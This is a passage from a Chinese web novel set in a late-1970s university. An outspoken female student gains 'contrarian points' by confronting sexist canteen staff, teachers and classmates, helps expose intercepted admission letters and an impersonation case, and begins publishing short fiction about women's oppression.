她先要一份米饭,排在她前面的是一个男生,食堂师傅给男生的饭盒装的满满的,轮到她时,只有小半饭盒。 宋知南直接问道:“师傅,为什么你给前面的男生打那么满,却只给我半份?” 食堂师傅瞥了宋知南一眼,不耐烦地说:“你一个女生,这么多就够了呀,打多了吃不完也是浪费。” 宋知南高声道:“你怎么知道我吃不完?我从小就饭量大。再说了,我花同样的钱为什么要有不同的待遇?你这是歧视女生吧?你把名字报上来,我要投诉你。” 杠精值50。 食堂师傅还委屈上了:“我一直都是这么打饭的,怎么到你就这儿就不行了?我好心让你别浪费粮食我还有错了?” 宋知南义正词严:“你歧视女生竟然还委屈上了?你一直这么做,说明你一直在歧视女生,自己有错不知道,提出来拒不认错,还振振有词,百般推托,你配在河西大学工作吗?你代表的可是河西大学的脸面,丢不丢脸,寒不寒碜?” 杠精值50。 旁边几个打饭的女同学要不是手里拿着饭盒,真想给宋知南鼓掌。她们打饭时,食堂的师傅一般都会少给,她们也习惯了。没想到这个女生这么勇敢,直接硬刚。 打饭师傅气得脸上肥肉直颤:“这个女同学,你叫什么名字?” 宋知南阴阳怪气道:“哎哟,你还想打击报复呢。” 杠精值50。 “行行,我给你打满了,我就看着你吃完。” 师傅发泄似地把勺子刮得歘歘响,他狠狠地给宋知南打了满满一饭盒米饭,这还嫌不够,又用勺子用力摁了几下,再加一勺。吃吧,撑死你。 宋知南脸上带着胜利的笑容离开,再到旁边的三号窗口打肉菜:“一份肉末豆腐,一份白菜粉条,都给我正常打,不然我就一起投诉你们。” 三号窗还是上次那个黑胖师傅,他睁着一双死鱼眼看了宋知南一眼,小声嘀咕了一句,宋知南大声问:“你刚才说什么?” 黑胖师傅赶紧说道:“我啥也没说。” 三天被投诉了两回,他不得不夹起尾巴做人。 这一届大学生惹不起,根本惹不起。 他打饭时手不抖不颤,打豆腐时,多打肉末;打白菜粉条时多打了几片肉。 后面的同学有样学样:“师傅,你正常打,不然我也投诉你。你手别抖,一勺子挖下去,挖到啥是啥。” 打饭师傅:“……” 宋知南端着两个饭盒回来时,大家伙都知道她又去战斗了。 众姐妹一脸钦佩地看着宋知南:“老四,看你外表挺文静的,没想到最猛的人是你呀。” 于蓝激动地说道:“老四,以后遇到这种事你叫上我,人多力量大。” 宋知南说道:“开饭开饭,不要被他们影响到食欲。” 宋知南说着,给每人饭盒里拨了一些米饭,“大家尝尝我的战斗成果。” 以前大学里就有食堂师傅故意少给女生饭菜,没想到倒退几十年又遇上了。 她是见之必斗,那是为了他们好,地球水资源不足,就得控干他们脑子里的水。 食堂饭菜被投诉之后,有了些许进步,至少白菜没那么老了,窝头变软和了,大家吃的很香,也很撑。 宋知南把米饭吃得干干净净,一粒米都没剩。 食堂师傅让打扫卫生的人盯着宋知南,见她把饭菜吃得如此干净,丝毫不给他发挥的余力,不由得气得直砸勺子。这一届的女生真不行。 短短几天,宋知南就在食堂战斗了两回,名声大震。 食堂师傅也知道了她的名字。他们以后打饭也不敢特意给女生少打了。当然这是后话。 第二天上午,宋知南就往胡记者所在的报社打了个电话,把地址给他,让他去寻找一下马招云,看看究竟是怎么回事。 宋知南说:“一个女同志好不容易考上大学,却不知道自己考上了,这里面究竟是谁在操纵?这一切的背后是谁的良心在泯灭,是谁的道德在沦丧?胡记者,你做为资深记者,自己判断有没有新闻价值?” 胡记者一听,立即振奋起来了,这绝对有新闻价值。 他飞快地说道:“宋同志,你放心,这个新闻我一定要大挖深挖狠挖,你等我消息。” 第130章 两天后, 马招云同学风尘仆仆地来报到了。 她一进宿舍,放下行李, 连气都没喘上几口,就先给大家鞠躬,“谢谢你们,要不是你们,我这辈子都圆不了我的大学梦。” 魏秋月给她倒了一杯温水:“马同学,你别急,先坐下喝口水,喘口气再说话。” 马招云先灌了一杯水,接着便说起了事情的经过:“公社书记的侄子看上了我,去我家提亲,我不同意, 我爸妈非让我同意。我想考大学, 他们坚决反对, 我瞒着他们报的名,考试那天也是偷偷去的, 骗他们说同学的姐姐结婚要去帮忙, 那个同学也帮我打掩护。我考完试后一直盼着通知书,可是通知书迟迟不来。” “我们那儿的通知书先寄到县教育局再由教育局寄到各公社,最后再由公社的人通知大家去领。我去公社问了几次,他们一直说没有我的通知书,还告诉我说,今年的高考特别难,我肯定是落榜了, 我也以为我落榜了。 记者来找我的时候,我人都是懵的。直到那时, 我才知道原来我考上了,我爸妈跟公社书记一家合起伙来欺骗我。他们还说是为了我好,说错过了书记侄子这样的好对象,我以后会后悔的。谢谢你们,谢谢你们为我所做的一切,是你们改变了我的命运。” 马招云问清楚大家的名字后,上前握着宋知南的手:“宋同学,谢谢你为我做了那么多。胡记者跟我说了,你是他的朋友。胡记者帮了我不少忙,要是没有他,那个公社书记和他侄子不可能被绳之以法。” 接着,她一一感谢于蓝和魏秋月等人。 感谢完所有人,马招云粲然一笑道:“晚饭咱们去外面的饭店吃饭吧,我请客。” 宋知南说道:“不用了,学校发给你的助学金大概是18块,你得省着点花,以后等你有钱了再请不迟。” 马招云坚持要请:“没事,我临走时,乡亲们和老师同学给我凑了一些钱,我同学还嘱咐我一定要好好感谢你们这帮好同学,咱们连面都没见过,你们就这么帮我。” 马招云说得恳切,魏秋月看了大家一眼,说:“那咱们就去吧。” 大家一起到学校的旁边的国营饭店搓了一顿。 跟大家伙熟了以后,马招云就问她应该排第几,魏秋月笑着说:“你19岁,那应该排在于蓝前面,是老六。” 于蓝从老六降为老七,张小凤降为老八。 于蓝撅着嘴:“怎么排名还下降了?” 魏秋月笑着安慰她:“年纪小也有好处的,我们大家会照顾你。” 宋知南说:“对啊,排在前面的有威望,排在后面有人照顾,排在中间的最不好,享受不到好处。” 魏秋月笑道:“我是因为年龄当老大,你可不一样,你是因为能力和影响力当老大,以后我这个老大位置就让给你了。” “不用让,这个老大的位置就是你的。” 大家吃饱喝足,说说笑笑地往外走,她们走到饭店门口,刚好跟班里的祝景星还有孙耀祖等人迎面相遇。 祝景星笑得温文尔雅:“宋同学,你们也出来吃饭?” “嗯是啊。” 大家礼貌地打个招呼后就分开了。 宋知南一帮人离开后,孙耀祖却微微蹙起了眉头:“这个宋同学日子过得挺奢侈啊,还下馆子。” 祝景星说:“食堂饭菜那么寡淡无味,谁不想改善一下伙食?咱们不也下馆子了吗?” 他不太理解孙耀祖的想法,为什么他们能下馆子,宋知南她们就不能下?还有就是,孙耀祖做为同学,他有什么资格对别人的生活指手画脚? 孙耀祖的心思一直在宋知南身上,“你们说宋知南这个人怎么样?” “我觉得她挺不错呀,勇敢大气,口才好。” “你们听说了吗?咱们班里有个马招云同学一直没来报到,听说是通知书被人截留了,就是宋同学发现这个问题并联系了当地的记者,马同学这才得知消息,刚才那个眼生的女生应该就是马同学。” 祝景星皱眉,“竟然还有这种事?” 孙耀祖不以为然:“这很正常,肯定是马同学的家长不想让她上大学,偷偷把通知书藏起来了。毕竟女孩又不比男孩子,男孩上大学是真光宗耀祖,女孩上大学最后还不是便宜了婆家?还不如让她早点嫁人收一笔彩礼好帮衬家里的兄弟。” 大家用诧异的目光看着孙耀祖。 孙耀祖哈哈一笑,“哎,你们那是什么眼神呀,这不是很正常的嘛。——你们觉得宋知南长得怎样?” 有人回应:“我觉得挺好的。” 祝景星制止道:“私下里议论女同学的长相不太礼貌,大家还是想想一会儿吃什么吧。” 大家的兴致果然转到要吃什么上面去了。 马招云的事在河西大学引起了大家的热烈讨论。 当你发现一只蟑螂的时候,仔细找找,一定还有更多的蟑螂。 别的系也有两个女同学迟迟没来报到,学校受到马招云事件的启发,学校招生办试着重新联系了一下,她们俩同样也没收到通知书,一个女生和对象一起考大学,对象落榜了,她考上了,她对象心生不平,又怕女生抛弃他,就把她的通知书撕了;另一个女生已经嫁人了,公公用她的通知书卷纸烟抽了。 两个女生一个跟对象分手,一个火速离婚,然后再匆匆赶来报到。 另外,历史系还发生了一起冒名顶替上大学事件。 这件事还是他们班里的祝景星发现的。 中文系有28个男生,每个宿舍住8人,多出来的四人就得跟别系的男生拼住。 祝景星刚好跟历史系的那个男同学分到了一个宿舍。 祝景星无意中发现那个男同学签的名字跟实际的名字不一样,男同学解释说自己手滑写错了。 但祝景星却觉得正常情况下,一个人是不大可能连自己的名字都写错,事出反常必有妖。 他就悄悄告诉了历史系的系主任和辅导员,系主任拿出一套试题考那个男同学,那同学考得一塌糊涂,他解释说自己都忘了,但基础在那儿摆着,再忘也不至于忘那么多。后来学校联系考生原籍的教育局,一核查,这人果然是冒名顶替的。 这个学生被扭送到公安局,判处三年有期徒刑,相关人员也会受到相应的惩罚。 这几件事在西齐市引起了轰动,《河西日报》、《河西晚报》争相追踪报道,隔壁的河西师范学校、河西理工等大学也开始了自查,发现每个学校都有那么几例。 宋知南给胡记者打了个电话:“老胡,你快看看《河西日报》,你都火到河西省了。” 胡记者矜持而自豪地笑着:“我看了,唉呀这些同行还挺热情。对了,我正要写信告诉你呢,马招云那边的公社书记被撤职查办了,事情传到咱青阳市,大家伙都夸你,说你千里之外还能发现敌情,到哪儿都是风云人物,了不起呀。” 宋知南谦虚地说:“多亏了你们的配合,要不然我一个学生哪有那么大能量。” 两人商业互吹了一阵,才挂了电话。 被顶替的男同学叫叶敏华,开学几天后,他才接到通知,匆匆赶到河西大学报到。 听说他报到的那一天,激动得失声痛哭,差一点,他就与河西大学失之交臂。 幸亏学校发现得及时,要是再晚几年,哪怕发现了真相,但一切都为时已晚。还有一种可能是他到死都不知道自己曾经考上过大学,他在乡下蹉跎一生,而窃夺他人生的那个家伙却一辈子风风光光。 真的不敢想,越想越想去杀了那个顶替他的人。顶替他的人叫张卫国,他会一辈子记住这个名字。 叶敏华挨个感谢祝景星、辅导员和系主任,最后来感谢宋知南和马招云。 叶敏华郑重其事地说道:“宋同学,你是第一个提出质疑的人,没有你的大胆质疑,合理求证,就不会有后面的一系列事情。谢谢你。” 马招云收到叶敏华的感谢有些手足无措:“叶同学,我并没帮你什么。我的事都是同宿舍的姐妹们帮忙的。” 宋知南笑着说道:“叶敏华同学,你既是不幸的,又是幸运的,以后你要好好学习,让这个社会变得更加公平公正。” 叶敏华重重点头:“宋同学,我会努力的。你是一个聪明的好人,以后有什么事需要我帮忙,尽管来找我,我一定会尽我所能。” “好。” 开学没多久,宋知南就成了全校的名人,于蓝建议她趁热打铁去竞选学生会主席。 学生会这玩意儿,宋知南早烦透了,明明啥官也不是,里面却充满着官僚习气,挺浅的一个水坑,里面却爬满了爱耍心眼的王八。 她现在的时间很宝贵,既要上课还要写作,便摇头拒绝了:“我志不在此,就不去参和了。” 开学后,大家的生活开始逐渐步入正轨,每天早起晚睡,三点一线:教室、图书馆、宿舍。 学习氛围比高三还浓郁,之前的十年运动,让大家错失了宝贵的学习时间。他们心里憋着一股劲,争分夺秒地学习,想把失去的光阴夺回来。 学校里流传着两句口号:“夺回失去的十年;只争朝夕,为中华之崛起而读书。” 宋知南也受到了感染,她每天六点起,十点睡,除了上课就在图书馆和自习室看书学习。 她还并不是最努力的,有的同学熬夜学习,宿舍熄灯了,就在外面的路灯下看书。 同宿舍的马招云和张小凤也开始反思自己是不是太不努力了。 宋知南赶紧劝阻:“身体是革命的本钱,流水不争先,争的是滔滔不绝。你们俩一定要注意身体健康,特别是小凤。” 开学后,大家的助学金都发下来了。助学金每个同学都有,学校根据学生的家庭情况分等级发放,最高是每月18块,一般是发给出身农村或是城市贫困家庭的同学;第二等是14块,一般是发给家庭有点困难的学生;最后两等是11元和8元,通常是发给家庭不错和带工资上学的学生。 张小凤领的是18元补助,宋知南领的是最低等的8元补助。按照正常来说,18元也够用了,但张小凤的家庭情况特殊,她是奶奶一手带大的,奶奶年老多病,她每月都要寄钱给奶奶,这样就导致她时常捉襟见肘,只能克扣自己的生活费。 饭菜她只打最便宜的,有时还只吃半份。宋知南王琳这些手头宽裕的同学会时不时地请她吃饭,张小凤的自尊心挺强,吃了别人的就绞尽脑汁地想还回来。 宋知南见她这么瘦还克扣自己的口粮,忍不住心疼,就让于蓝帮她联系一下勤工俭学的岗位。 可是这个年代勤工俭学的岗位极少,于蓝在学校里没找到合适的岗位,最后帮张小凤在自己家附近找了一份家教的工作。 这个时代的家长是很少请家教的,这份工作也很难得。 张小凤很珍惜这个来之不易的机会,去之前紧张地问:“我真的行吗?” 宋知南鼓励道:“你能从小山村考到河西大学,你就是当之无愧的学霸,你不行谁行?你的数学很好对吧?我告诉你,数学好的人智商绝对高。” 张小凤被鼓励得多了点信心。 宋知南看着她身上那身不太合体的衣服,便说道:“我借你一件衣服,你要时刻记得你是河西大学的,你智商高,面对学生和家长时一定要自信。” 一旦家长和学生看出她的胆怯和自卑,对方的气焰就上来了。 张小凤穿着宋知南借给她的那件红条绒外套,脸上擦着谢欣然贡献出来的雪花膏,跟着于蓝去见学生家长,她顺利通过面试,开始了她的家教生涯,每周去三次,按月结算,每月7块钱。钱不算多,但多少能缓解张小凤的经济压力。 …… 周日中午,宋知南午睡完刚醒,于蓝就抱着一摞信进来了。 “老四,你的信,这么厚一摞都是你的,你的人缘是真好。” 宋知南打着哈欠下床,“谢谢小七,我看看都是谁写的。” 宋知南先看信封,有李群英的,有宋冬宝宋知夏宋湘的,有王翠花何黛的,还有厂里女工的。 她先看女工写的,信中说,就在她写信的前两天,红星纺织厂又有十来个人收到了通知书,原来有些大学又补录了一部分。没考上的那些女工下定决心今年再战。 宋知南欣慰地点头,她播种下的革命种子已经开始发芽了,今天撒一把,明天撒一把,迟早有一天,会遍地开花。 宋冬宝信里说他已经帮她俩领完工资,再给她们分别寄过来。他一个人很不习惯,感觉很孤独很寂寞,只盼着姐姐赶紧毕业好把他接走。 王翠花的信很简单,妇联办公室一切都挺好,她妹妹也考上了大学了,她爸妈高兴坏了。 李群英说,她们杂志的名字终于定下来了,叫做《燕京文艺》,下星期复刊,并面向全国作者征稿,有稿费,千字3块-30。当然这个千字30是针对名家的,新人一般是千字3块。李群英郑重地向宋知南约稿。不过她们现在没有样刊,一切都是摸索着来,她让宋知南自由发挥。 朋友有约,自然得应。 宋知南先给李群英回信,告诉她,自己会给她寄三篇稿子,能留用的就留用,如果不适合她们杂志的风格,请她帮忙投稿给《燕京文学》、《九月》、《大众文学》这类杂志。她现在处在广撒网阶段,每个杂志都试试。 宋知南铺开稿纸准备写作。 这个时期流行的是伤痕文学,以刘姓作家的《班主任》为开端。大家在十年运动中受的受害都拿出来说说写写,大家都呼唤解放,有人呼唤救救受骗的红小兵,有人呼唤救救知识份子,有人说要救救知青。 宋知南准备呼唤救救妇女。 先来一篇探讨扭曲的母女关系的小说《母爱如洪水》,母亲以李玉华和梅小玲的妈为原型,写了她们如何在父权夫权的压迫和洗脑下,主动或被动的戕害自己的女儿,她们身为女性却不爱女儿,一心帮衬儿子,利用女儿重感情的特点对她敲骨吸髓,从精神到身体,从现在到未来,全方便地盘剥女儿,名义上还叫我都是为了你好。 骂完母亲,也不能少了父亲,《父爱如火山》,大家常常称赞,父爱如山,但是身为女儿感受到的是父亲在家里一动不动安如山,父亲像大山一样压迫着女儿的精神,父亲的脾气像火山一样,时不时地爆发一场,弄得周围寸草不生。这些父亲本质上就是个巨婴,从来没有长大过,他们只爱自己,根本不知父爱为何物,没有爱,却假装自己有,没事就搁那儿自我感动,自我吹捧。 第三篇的主题依旧是救救妇女,名字就叫做《他的家,她的冢》,以今年的高考为主题,写女同志报名被阻拦,考试被阻拦,好容易考上了却被截留通知书。 很多父母为了儿子上学,可以砸锅卖铁;轮到女儿上学,一只碗都不舍得砸不说,还拼命阻拦女儿上进,就想多吸血多占便宜。 家是耀祖光宗们的家,却是招弟盼弟们的冢。 他的家,她的冢。 家和冢,长得那么像,一个通往天堂,一个通向地狱。 130-140 第131章 正式开学后, 中文系又办了一次更正式的迎新晚会,中文系的各位老师和系主任也登台亮相。 宋知南自然也看到了钟纪文主任, 宋知南在心里给他标注钟120,以后有机会还是得杠他。 教《外国文学》的是胡湘南老师,她三十七八岁,学贯中西,素养极高,气质极佳,课讲得特别生动,听说别的系,有几个女同学暗暗视她为榜样。 教《现代汉语》的是李明达老师,五十来岁,不苟言笑, 治学严谨。 教《现代文学》和《当代文学》的是钱仪老师, 听说这人讲课喜欢照本宣科。 教《古代汉语》的是吕会琴教授, 她年纪较大,已经六十岁了。 她还没上开始上课, 大家已经开始畏惧她了, 一是这门课很难,二是大家都听说这老师要求非常严格,性格有些古板。 另外就是一些选修课的老师,如《杜甫研究》、《新诗研究》之类的。 由于他们是恢复高考后的第一届大学生,今年高考又是匆忙开始,学校还没做好充分的准备,就出现了一些乱况。 比如有些课连系统的教材都没有, 有的课教材是油印的,还有全靠老师自己发挥, 有的老师一边上课一边编写教材。 好在这些大大小小的困难都阻挡不了同学们的学习热情。不管老师讲得好不好,大家都尽量认真听课,认真做笔记,课后还积极提问和讨论。 周二上午第一节课是钱仪老师的,他把两门课合在一起串着讲。 钱仪平常都是照本宣科,今天这课堂是个例外,他个人的表达欲突然间就来了。 “民国时期的这些女作家,庐隐是一个感性的悲观主义者;石评梅为情所伤,最后又死于情伤;萧红有独特风格,但身上充满了女文艺青年的弱点和局限,她短暂的一生很悲惨。 张爱玲倒是很有才华,可惜她格局太小,所有作品只局限于男女问题、家庭问题,跟简奥斯丁犯了同样的错误,那就是喜欢在三寸象牙上微雕写作。须知这世界辽阔得很。 所以同学们,对于这些女作家的作品要选择着读,批判着读。 女同学更要注意,你们天性中本来就有感性天真的一面,不要沉溺于这些女作家的小情小爱,要多读一些男作家写的书,他们格局宏大,气势开阔,能冲淡你们与生俱来的狭隘和局限。” 大家起初认真听讲,有的人还记笔记,但女同学听着听着就觉得哪里不对劲。 大部分男同学没听出不对劲,他们反而认为老师说得对。 宋知南举手示意,钱仪怔了一下,停下来问道:“宋同学,你有什么问题吗?” 宋知南站起来,高声说道:“钱老师,我不赞同你的说法。你对这些女作家的评价充满着自以为是和居高临下,让人非常不适。 萧红张爱玲的小说揭示了那个时代女性的困境和悲剧,充满着对人性的诘问和探寻,怎么就不叫大格局了?难道只有家国天下,战争场面才叫大格局?这个大格局又是谁定的? 雨果说过:“比大海更广阔的是天空,比天空更辽阔的是人的心灵。这两位女作家描写的是占人类一半的女性的心灵,这格局还不够大吗?” 杠精值100。 钱仪反问道:“只是写女人的心灵,就能叫大格局?” 宋知南:“什么叫只是写女人的心灵,难道在你的眼里,占人类一半的女性不是人?” 杠精值100。 钱仪淡淡一笑,两手一摊:“宋同学,你的攻击性很强啊。你的身上似乎还带有十年运动的遗风。” 宋知南针锋相对:“钱老师,我感觉你的身上带着封建遗老遗少的遗风,你的言谈举止中带着一丝中老年文青的狭隘油腻和自以为是。” 杠精值100。 同学们不禁傻眼,现在的课堂讨论攻击性都这么强吗? 钱仪看其他同学们有些跃跃欲试,便笑着说道:“来来,大家一起讨论一下,各位同学要各抒己见,畅所欲言。你们赞同宋同学的意见吗?” 钱老师的话音一落,白光宗便迫不及待地站了起来:“宋同学,我认为你的发言太偏激太主观了。这些女作家的文学水准如何,文学史上早已有了定论。” 宋知南:“如果已有定论的东西我们就不能发表自己的意见,那我们还学什么?全部背诵不就完事了吗?做学问,就是要敢于质疑前人。再说了,他们评价的就一定对吗?从来如此便是对的吗?” 杠精值20,男大学生还挺值钱。 于蓝站起来发言:“对,从来如此便是对的吗?我们要敢于质疑权威,什么叫解放思想,这就是。” 体育委员李长胜站起来说:“于同学,我不认为这叫解放思想。宋同学,你说这些评论家不一定对,那请问什么是对的?” 宋知南接着说:“我先不说什么是对的,我先告诉你们,为什么我觉得这些批评家不一定是对的。 来,我先给大家讲个寓言故事。” “行行,你讲。” “池塘里有个大头青蛙,有一天它发起了“谁是动物界最厉害的动物”的评选。 那么,动物界究竟谁会当选呢? 老鹰行吗?不行,它仅仅会飞罢了; 老虎行吗?不行,它游泳能力不行,还被武松打败过; 那鱼行吗?不行,它只会游泳不会呱呱叫。 最后胜出者是谁?毫无疑问是青蛙,还得是公青蛙,为什么呢?因为裁判和选手都是公青蛙。公青蛙看不起老鹰老虎,它觉得只有呱呱叫的才最好,它觉得池塘就是它的王国,它一鼓起肚皮,比牛皮还厉害,因为牛皮吹破过,但谁听说过青蛙皮吹破过?” 大家轰然大笑,教室里充满快活的笑声。 宋知南一本正经地问道:“这个寓言大家听懂了吗?你们从中悟出了什么道理?” 孙耀祖问:“你是说这些评论家都是青蛙?” “‘都’是你自己加的,我是说一些评论家是这样。” 杠精值加20。 …… 大家的争论越来越激烈,有一些人已经开始脸红脖子粗了。 钱仪往下压压手,气平气和地问道:“宋同学,你的攻击性很强,你似乎总是很愤怒,我想问问,你为什么总是这么愤怒?” 宋知南:“你应该问问自己,为什么你的话会引起别人的愤怒?那么多老师的课,我都不愤怒,为什么独独对你愤怒?” “也就是说,你认为是我引起了你的愤怒?” “你的理解大体是正确的。” 杠精值200。 钱仪笑了一下,再次两手一摊,表示他很无奈。 周鹏站起来说:“宋知南,我觉得你应该尊重老师。” 宋知南脆声应道:“吾爱吾师,吾更爱真理,你猜这句话是谁说的?” “亚里士多德?” “恭喜你答对了,坐下吧。” 周鹏不自觉地坐下了,不对啊,怎么你让我坐下我就坐下了? 教室里又传出一阵笑声。 这堂课以激烈的辩论而结束,钱仪抱着书和讲义摇着头离开了教室,回到办公室就把这场辩论告诉了其他老师。 在场的老师不由得感慨道:“这一届学生确实不同反响,才开学几天就整出了这么大的动静。” 胡湘南笑着说:“我倒觉得这是件好事,说明这届学生思想活跃,有想法。” 吕会琴摇头:“太好斗了,他们身上确实有十年运动遗留下来的习气。” 第二节课是周好古的《古代文学》,周老师的课讲得不错,深入浅出,生动有趣,古今中外的知识典故信手拈来,同学们听得津津有味。 宋知南认真听讲做笔记,但周老师还是看了她好几次。 大家都在猜测,肯定是钱老师向周老师说什么了。 下课时,周好古说道:“学习委员到我办公室一趟。” 宋知南下课后就去了周好古的小办公室,周好古把办公室的门半开着,先递给宋知南一份书单,“宋同学,你中午把这份书单抄到黑板上,让同学们记一下,再按照书单去图书馆借书。” “好的,周老师。” 说完正事,周好古十分丝滑地转移了话题:“宋同学,我听说,你跟钱老师和同学们进行了一场激烈的辩论?” 宋知南点头:“是的老师,吾爱吾师,吾更爱真理。我爱辩论爱质疑,但我是个尊重老师团结同学的好学生。” 杠精值100。 周好古温和地笑笑:“我一点也不反对思想和学术上的争辩,这说明你很有思辨精神。只是你那种打法,是不是太激烈了?你有没有感觉到教室里有一股硝烟在弥漫?” 宋知南:“周老师,你们男同志不都说家国大事,战争场面才是大格局叙事吗?我就给你们来一场大格局的辩论,硝烟味越浓,说明场面越大。” 杠精值100。 周好古:“……” 他顿了一下,接着说:“行,大格局的宋同学,你有没有想过,一个爱好辩论的人,他可能在辩论上赢了,但在大的方面却输了?” 宋知南:“周老师,我在辩论上赢了,在人生的各个方面都会赢,我赢过我知道。您没事劝劝钱老师吧,他讲课要么照本宣科,要么胡说八道,我建议他跟您和胡老师好好学学。行,今天就到这儿吧,老师您别送了。” 杠精值100。 周好古莞尔一笑:“行,宋同学,你慢走。” 中午放学后,宋知南先跟同学们去食堂吃饭,她巡视了一圈,发现饭菜比以前更丰盛了,食堂工作人员也更用心了。 宋知南去打饭时,师傅特意多问了一句:“宋督查,你今天还满意吗?” 宋知南一本正经地答道:“还行,你们继续努力。还有啊,建议打饭时戴上口罩,省得口水喷饭里。” 食堂师傅:“好咧。” 吃完饭,宋知南回到教室把单子上列的书名写到黑板上,同学们赶紧记下来,准备去图书馆借书。 宋知南一下讲台,女同学就围了上来。 男同学没好意思围上来,但一个个都在竖着耳朵听着。 魏秋月先说:“老四,像上午这种辩论,我们听得心情荡漾,你说出了大家想说但又说不出的话,可是副作用也很大,就是你这样下去,会不会对你的人际关系有不好的影响?” 宋知南朗声说道:“无所谓,我不在乎。天下女同志苦这种言论久矣,我们做为走在时代前列的女大学生不去反驳,你指着谁去反驳?难道指着那些文化程度不高的女同胞去反驳吗?这正是我辈的责任。 我给自己写了四句座右铭: 铁肩担道义,辣手摧渣男。 妙嘴骂出花,振兴我中华。 以后请大家叫我铁肩辣手宋知南。” 第132章 宋知南火了, 河西大学的老师都知道中文系有个大辩论家宋知南。 她是逢老师必杠。 钱老师、周老师、吕老师……几乎每一个老师她都杠过,系主任也杠过, 校长没杠过,不是不想杠,是还没机会杠。 有时候老师讲到一个可能会有争议的知识点的时候,会不由自主地停顿一下,“宋同学,你对此有什么不同看法吗?” 宋知南:“没有,老师请继续讲。” 老师便接着往下讲。 开学半个多月,宋知南已经收获了3万杠精值,这些杠精值里有食堂师傅的,有老师的,还有很多同学贡献的。 3万杠精值可以兑换30年寿命, 再加上之前积累的杠精值, 她现在已经杠出了120年的寿命, 以后杠的就是纯赚。 宋知南现在连墓志铭都改了:宋知南,1955-2075, 当代著名作家、思想家、教育家。为什么要加个教育家呢, 教别人做人难道不叫教育家? 说到作家,她的稿子已经投过去两个星期了,也不知道结果如何。 她刚想到这个问题,于蓝就给她送来了一封从首都寄来的大信封,沉甸甸的,里面应该有样刊。 宋知南迫不及待地拆开一看,是《燕京文艺》的样刊, 翻开目录一看,她的小说《他的家, 她的冢》赫然在列,随样刊来的还有一封信。 是李群英写的,信中说,三篇小说,他们主编只同意发这一篇,另外两篇,她分别推荐给了《燕京文学》和《九月》的编辑,那两个编辑说小说很好,可惜风格与他们刊物不符。但《杂文周刊》的编辑无意中看到了稿子,说正是他们想要的,只是《杂文周刊》还没正式复刊,宋知南还得再等些时日。 另外,由于她是新人,稿费只能按千字3元来算,稿费过两天会统一汇出,请她注意查收。 《他的家,她的冢》3万字,稿费90块钱。这个年代的平均工资是30块钱,一篇短篇小说顶别人3个月的工资,还算可以。 虽然稿费还没到,但宋知南决定吃一顿好吃的,犒劳一下自己。 她这次没叫宿舍的人一起去吃饭,毕竟大家各有各的难处,不像她一人吃饱全家不饿。 宋知南自己去学校旁边的国营饭店,点了小炒肉、红烧茄子外加两个大馒头。 吃饱喝足,她心满意足地离开了饭店。 不料,她又在饭店门口遇到孙耀祖白光宗祝景星等人。 宋知南礼貌地打声招呼:“你们也来吃饭呀。” 祝景星笑着回应:“宋同学,你已经吃完了?” “嗯。” 按照正常的社交礼仪,他们的对话一般会到此为止。 不料,孙耀祖今天却像是抽了风一样,逮着宋知南问个不停:“宋同学,你今天一个人下馆子?” 宋知南奇怪地反问道:“对呀,怎么了?哪条规定不允许一个人下馆子吗?” 杠精值20。 孙耀祖一副恨铁不成钢的表情:“你真是太奢侈了,一点都不知道勤俭节约。” 宋知南一脸问号:“孙耀祖同学,我花我的钱,我奢不奢侈管你什么事?你是属长臂猿的吗?手伸得这么长?” 杠精值20。 孙耀祖像是受到了深深的伤害,他跟身后一脸莫名其妙的同学说道:“你们先进去,我跟宋同学说几句话。” 大家一脸疑问,但也只能依从。 这几个人一离开,孙耀祖就开始喋喋不休:“知南,我说你是为了你好,你最近这段时间很多事都做得不对。你才开学没多久就得罪了食堂师傅、系主任、钱老师、周老师,还有班里的好多同学。还有,你平时花钱大手大脚,每顿饭都打肉菜,隔三差五就下馆子。你得养成节约的好习惯啊。” 宋知南打断他:“孙耀祖,请问,你是我的谁?” “我是你同学啊。” “同学的手可以伸这么长吗?可以管得这么宽吗?一张纸画你个脸,你好大的脸面;癞蛤蟆跳到秤砣上,你知不知道自己几斤几两?” 杠精值20。 孙耀祖跺着脚说道:“我本来想着你是女生,给你留点面子,现在你这么说,我也就直说了。是你先对我表示了关注,是你总是对我笑,现在你又说我的手伸得长。” 宋知南瞠目结舌:“我什么时候对你表示过关注?” 孙耀祖很自信地说:“你开学第一天就对着我一直笑。” “我那是笑你的名字,我对狗还笑过呢。孙耀祖,你恶心到我了,我告诉你,你要是敢对别人说出这种话,要是敢把我和你连在一起,我就告你耍流氓,一旦罪名成立,你的名声你的前途就全完了,你还耀祖呢,你灭祖吧。” 杠精值20。 宋知南看看四周,暂时无人路过,她飞快地举起巴掌,啪地一下扇了过去:“我打你是为了你好,我要让你记住这个教训。” 孙耀祖呆若木鸡,他、他被一个女人打了,就在大学校园里水灵灵地被打了。 孙耀祖刚想要想好怎么反击,宋知南已经施施然离开了。仿佛刚才那一巴掌不是她打的一样。 宋知南恶心坏了,她回去就跟同宿舍的姐妹们说了,大家听罢也愣住了。 “孙耀祖竟然自作多情到这个份上吗?我们以后是不是都不能对他笑?” “也不能跟他说话。” “他可是大学生啊,他的脑子里都装些什么呀?” 宋知南说道:“大学只筛选学渣,又不筛选人渣。” “噗,还真是的,你说得对。” 301宿舍的女同学达成一致协议,以后见到孙耀祖就视他为无物,不能对他笑,也不能跟他说话,省得他觉得她们对他有意。 孙耀祖在挨了一顿打和一顿骂后,又发现自己被女生无视了孤立了,他一脸委屈地对大家说:“宋知南打我骂我,还发动她宿舍的女生孤立我。” “她打你骂你?为什么?” “因为……因为我对她提出了批评。” 祝景星问:“你批评她什么了?” “我批评她奢侈、好斗、好争辩。” 祝景星奇怪地问:“她花自己的钱关你什么事?你是她什么人?” 孙耀祖摇头:“你不懂,女生就应该勤俭节约,会过日子,要不然,她以后的丈夫一定会看不惯的。” “可是,这跟你有关系吗?” 孙耀祖有些暴躁:“你不懂,我不跟你说了。” 苏星对祝景星说:“这次你知道宋知南为什么打他骂他了吧?就是跟他说不通才动手的。” 祝景星又问道:“孙耀祖,你要告诉辅导员吗?” 孙耀祖摇头:“我一个大男人不跟女生一般见识,这次就饶了她。” 他若敢告诉辅导员,宋知南就敢说他耍流氓,到时候怕是解释不清,他可是全村的希望,他的前途最重要,他不能留下一丝污点。 宋知南得罪了孙耀祖以及班里的一众男同学,在他们选举班花时,她光荣落选。漂亮安静话不多的刘会清被选为班花。 宋知南也有了一个新的称号:班刺。是孙耀祖取的。 起初,只有一些男生知道这些消息,很快就出现了人传人现象,没过几天,女生这边也知道了。 